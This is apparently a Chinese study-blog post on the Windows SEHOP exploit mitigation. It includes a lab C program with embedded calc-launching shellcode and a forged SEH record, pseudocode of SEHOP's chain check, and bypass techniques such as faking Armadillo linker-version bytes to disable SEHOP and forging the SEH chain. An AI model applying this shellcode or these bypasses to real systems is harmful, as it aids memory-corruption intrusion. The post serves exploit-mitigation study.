• OD: SEHOP


    SEHOP,Structed Exception Handling Overwrite Protection,一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP,但 Vista 和 Win7 中默认不启用,可以对这两个版本的系统打补丁以支持 SEHOP,但一个更简单的方法是:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerkernelDisableExceptionChainValidation = dword:00000000

    可以写一个带 _try{} _except() 的简单程序,用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验,因为其中有个宏可以在以后借用,先存下来:

     1 // sehop.cpp : Defines the entry point for the console application.
     2 //
     3 // os:  win7
     4 // ide: vs2008 (turn off Optimization/ASLR/GS/DEP)
     5 // link option: /SAFESEH:NO
     6 
     7 #include "stdafx.h"
     8 #include <stdio.h>
     9 #include <stdlib.h>
    10 #include <string.h>
    11 #include <windows.h>
    12 
    13 #define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte
    14 
    15 char shellcode[300]=
    16 "x60x89xE0x83xE4xFCx50x31xD2x52x68x63x61x6Cx63x54"
    17 "x59x52x51x64x8Bx72x30x8Bx76x0Cx8Bx76x0CxADx8Bx30"
    18 "x8Bx7Ex18x8Bx5Fx3Cx8Bx5Cx1Fx78x8Bx74x1Fx20x01xFE"
    19 "x8Bx54x1Fx24x0FxB7x2Cx17x42x42xADx81x3Cx07x57x69"
    20 "x6Ex45x75xF0x8Bx74x1Fx1Cx01xFEx03x3CxAExFFxD7x58"
    21 "x58x5Cx61xC3"               // 84b winexec cmd.exe shellcode
    22 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    23 "x90x90x90x90"
    24 "x78xFFx12x00" // next seh
    25 "x18x30x40x00" // seh : shellcode
    26 ;
    27 
    28 void test()
    29 {
    30     char buf[84];
    31     memcpy(buf,shellcode,112);
    32     int x=0;
    33     __try{
    34         x=1/x;
    35     } __except(1) {
    36         printf("[fatal] divided by zero!
    ");
    37         __asm{
    38             lea eax,shellcode
    39             call eax  // push next_eip, jmp eax
    40         }
    41         exit(0);
    42     }
    43 }
    44 
    45 int _tmain(int argc, _TCHAR* argv[])
    46 {
    47     test();
    48     return 0;
    49 }
    View Code

    注意其中的 D2B() 宏,在代码中动态定位时可以借用(sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))),另外,弹出 calc.exe 的 shellcode 具有 function 特性,即执行过程中会保存现场,执行完了会返回,实验时应该用 lea eax, shellcode; call eax(call eax 会先 push next_eip 再 jmp

    栈帧中的 S.E.H 函数是以单链表的形式存放的:node(next_seh,eh) -> node(next_seh,eh) -> ... -> node(0xFFFFFFFF,system_final_eh)

    SEHOP 的任务就是在转入异常处理之前检查 S.E.H 链表的最后一个节点是否为 system_final_eh,如果是则检测成功,否则失败:

     1 if (process_flag & 0x40 == 0)            // 如果没有 SEH 记录则不进行检测
     2 {
     3     if (record != 0xFFFFFFFF)            // 开始检测
     4     {
     5         do {
     6             if (record < stack_bottom || record > stack_top)                // SEH 记录必须位于栈中
     7                 goto corruption;
     8             if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 结构完全在栈中
     9                 goto corruption;
    10             if ((record & 3) !=0)                                           // SEH 记录必须 4 字节对齐
    11                 goto corruption;
    12             handler = record -> handler;
    13             if (handler >= stack_bottom && handler < stack_top)             // SEH 处理函数不能在栈中
    14                 goto corruption;
    15             record = record -> next;                                        // 继续遍历
    16         } while (record != 0xFFFFFFFF);
    17         if ((TEB -> word_at_offset_0xFCA & 0x200) != 0)
    18             if (handler != &FinalExceptionHandler)                          // 核心检测:未节点是否为系统 EH
    19                 goto corruption;
    20     }
    21 }

    作为对 SafeSEH 强有力的补充,SEHOP 检查发生在 SafeSEH 的 RtlIsValidHandler 函数校验前,这样一来,利用攻击加载模块之外的地址、堆地址和未启用 SafeSEH 模块的方法都行不通了。理论上,剩下的攻击思路只有三条:

    1  因为 SEHOP 只对 SEH 提供保护,故避开 SEH,攻击返回地址(或 GS 关闭)或虚函数等
    2  利用未启用 SEHOP 的模块
    3  伪造 SEH 链

    利用未启用 SEHOP 的模块

    微软在编译器中没有提供关闭 SEHOP 的选项,但出于兼容性考虑,对一些程序禁用了 SEHOP,例如经过 Armadilo 加壳的软件。

    操作系统会根据 PE 头中的 MajorLinkerVersion MinorLinkerVersion 来判断是否为程序禁用 SEHOP。如果将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序,就可以禁用 SEHOP 了(可以用 CFF Explorer 打开程序,在 Optional Header 中进行设置)。

    可以用这种方法并结合 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节来绕过 SEHOP 和 SafeSEH。

    伪造 S.E.H 链

    实际环境中,要实现 S.E.H 的伪造是非常困难的事,因为前提条件很多:

    1. 首先要求系统 ASLR 不能启用,否则 FinalExceptionHandler 地址在重启后会变动,溢出质量大大降低。
    2. 伪造的 S.E.H 所处的位置必须在当前栈中,且能被 4 整除。
    3. 伪造的 S.E.H 中的 next_seh 必须指向正常的 seh 链,其未节点必须是 FinalExceptionHandler。
    4. 突破 SEHOP 后还需要突破 SafeSEH。

    书中的示例用了 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节中的 dll 模块,并且关闭了 DEP 和 ASLR。

    Win7 不能通过 int 3 转入 OllyDbg 调试,只能直接用 OllyDbg 加载程序调试,为什么呢?

  • 相关阅读:
    MySQL基础之第9章 触发器
    Windows系统安装————windows7 企业版 无法安装 NET.framework4.52-4.6版本在WIN7下解决办法
    流媒体技术学习笔记之(十二)Linux(Ubuntu)环境运行EasyDarwin
    流媒体服务器之————EasyDarwin开源流媒体服务器:编译、配置、部署
    流媒体技术学习笔记之(十一)Windows环境运行EasyDarwin
    流媒体技术学习笔记之(十)HLS协议直播延时优化(35s到10S)
    流媒体技术学习笔记之(九)减少VLC 延迟的方法
    流媒体技术学习笔记之(八)海康、大华IpCamera RTSP地址和格式
    流媒体技术学习笔记之(七)进阶教程OBS参数与清晰度流畅度的关系
    Phalcon框架之———— 2.0升级到3.0 问题Model验证问题解决
  • 原文地址:https://www.cnblogs.com/exclm/p/4077492.html
Copyright © 2020-2023  润新知